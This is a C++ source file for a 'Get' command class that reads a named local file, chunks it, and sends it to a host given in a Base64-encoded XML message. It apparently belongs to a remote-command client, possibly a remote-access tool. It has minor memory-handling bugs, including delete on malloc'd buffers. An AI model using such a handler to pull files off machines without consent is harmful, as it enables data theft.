#include "cGet.h"

#include <stdlib.h>
#include <sstream>
#include <stdio.h>
#include <Poco/DOM/Document.h>
#include <Poco/DOM/NodeIterator.h>
#include <Poco/Base64Encoder.h>
#include <Poco/Base64Decoder.h>
#include <Poco/StreamCopier.h>
#include <Poco/File.h>
#include <fstream>
#include <string>
#include "client/net/cData.h"
#include "misc/Interface.h"
#include "misc/Debug.h"
#include "client/misc/cConfig.h"
#include "client/Client.h"
/*********************************************************/
void cGet::execute()
{
	Client& c = Client::Instance();
	Interface& intf = Interface::Instance();
	cConfig& cfg = cConfig::Instance();

	intf << "Uploading file: " << fFileName << std::endl;
	intf.flush();
	
	// Do we need to chop the file into pieces?
	FILE *pFile = fopen(fFileName.c_str(), "rb" );
	if ( !pFile ) {
		intf << "Error opening file: ." << fFileName << "." << std::endl;
		intf.flush();
		return;
	}
	fseek( pFile, 0, SEEK_END );
	unsigned long size = ftell( pFile );
	rewind( pFile );	

	if ( cfg.getMaxPacketSize() >= size ) {
		// Read the data into memory
		char* buffer = (char*)malloc(sizeof(char)*size);
		unsigned long result = fread(buffer,1,size,pFile);
		if ( result != size ) {
			fclose(pFile);
			delete(buffer);
			throw(std::logic_error("Error reading file!"));
		}
		fclose(pFile);

		std::string buf(buffer,result);
		free(buffer);

		// Build the data carrying message
		cData	dat;
		dat.setOrder(0);
		dat.setShell(false);
		dat.setFileName(fFileName);
		dat.setData(buf);
		dat.setFileSize(size);

		// Send it
		c.sendTo(&dat, addr.toString());

		// Report succes
		intf << "Upload of file: " << fFileName << " complete." << std::endl;
		intf.flush();
	} else {
		// We need to chop the file into several pieces
		unsigned long dataSent = 0;
		unsigned long chunksSent = 0;
		while ( dataSent < size ) {
			char* buffer = (char*)malloc(sizeof(char)*cfg.getMaxPacketSize());
			unsigned long result = fread(buffer, 1, cfg.getMaxPacketSize(), pFile);
			if ( result == 0 ) {
				fclose(pFile);
				delete(buffer);
				throw(std::logic_error("Error reading file!"));
			}

			std::string buf(buffer,result);
			free(buffer);

			cData	dat;
			dat.setOrder(chunksSent);
			dat.setShell(false);
			dat.setFileName(fFileName);
			dat.setData(buf);
			dat.setFileSize(size);

			if ( !c.sendTo(&dat, addr.toString()) ) {
				intf << "Failed to upload file" << std::endl;
				intf.flush();
				return;
			}
			
			dataSent += result;
			chunksSent++;
		}

		// Report succes
		intf << "Upload of file: " << fFileName << " complete." << std::endl;
		intf.flush();
	}

	// Send an ack
	ack();
}
/*********************************************************/
std::string cGet::serialize() const
{
	Client& c = Client::Instance();
	std::ostringstream	xml;
	std::ostringstream	filestr;

	// The filename needs to be a multiple of 6 bits ( due to base 64 encoding )
	std::string file_ = fFileName;
	while ( ((file_.length()*8) % 6) != 0 ) {
		file_.append("\n");
	}

	// We encode the filename into a Base64 string so we can pass it without worrying about possible collisions with xml tags
	Poco::Base64Encoder	encoder(filestr);
	encoder << file_;

	// Build the xml string for this job
	id = c.getID();
	xml << "<GS id='" << id << "'>";
	xml << "<Get>";
	xml << "<file>" << filestr.str() << "</file>";
	xml << "<host>" << fHost << "</host>";
	xml << "</Get>";
	xml << "</GS>";

	return xml.str();
}
/*********************************************************/
void cGet::deserialize(Poco::XML::NodeIterator& it)
{
	Poco::XML::Node* pNode = it.nextNode();

	if ( pNode->nodeName() != "file" ) {
		throw(std::logic_error("Node type get given, data field 'file' missing or incorrectly ordered!"));
	} else {
		// Decode the filename from a Base64 representation
		std::ostringstream	ostr;
		std::istringstream	istr;
	
		// Decode the result
		istr.str(pNode->innerText());			// Pass it into a inputstringstream
		Poco::Base64Decoder	decoder(istr);		// decode it...

		// Copy the decoded command to the local storage
		Poco::StreamCopier::copyStream(decoder, ostr);
		std::string result = ostr.str();

		// Remove any appended newlines to align for base 64 encoding
		for ( unsigned int i=0; i<result.length(); i++ ) {
			if ( result[i] == '\n' ) {
				result.erase(i,1);
				i = 0;	
			}
		}

		// Store the command
		fFileName = result;
	}

	pNode = it.nextNode();
	if (( !pNode ) || (pNode->nodeName() != "host" )) {
		throw(std::logic_error("Node type get given, data field 'host' missing or incorrectly ordered!"));
	} else {
		fHost = pNode->innerText();
	}
}
/*********************************************************/
std::string cGet::getHost() const
{
	return fHost;
}
/*********************************************************/
void cGet::setHost(const std::string& host)
{
	fHost = host;
}
/*********************************************************/
std::string cGet::getFileName() const
{
	return fFileName;
}
/*********************************************************/
void cGet::setFileName(const std::string& f)
{
	fFileName = f;
}
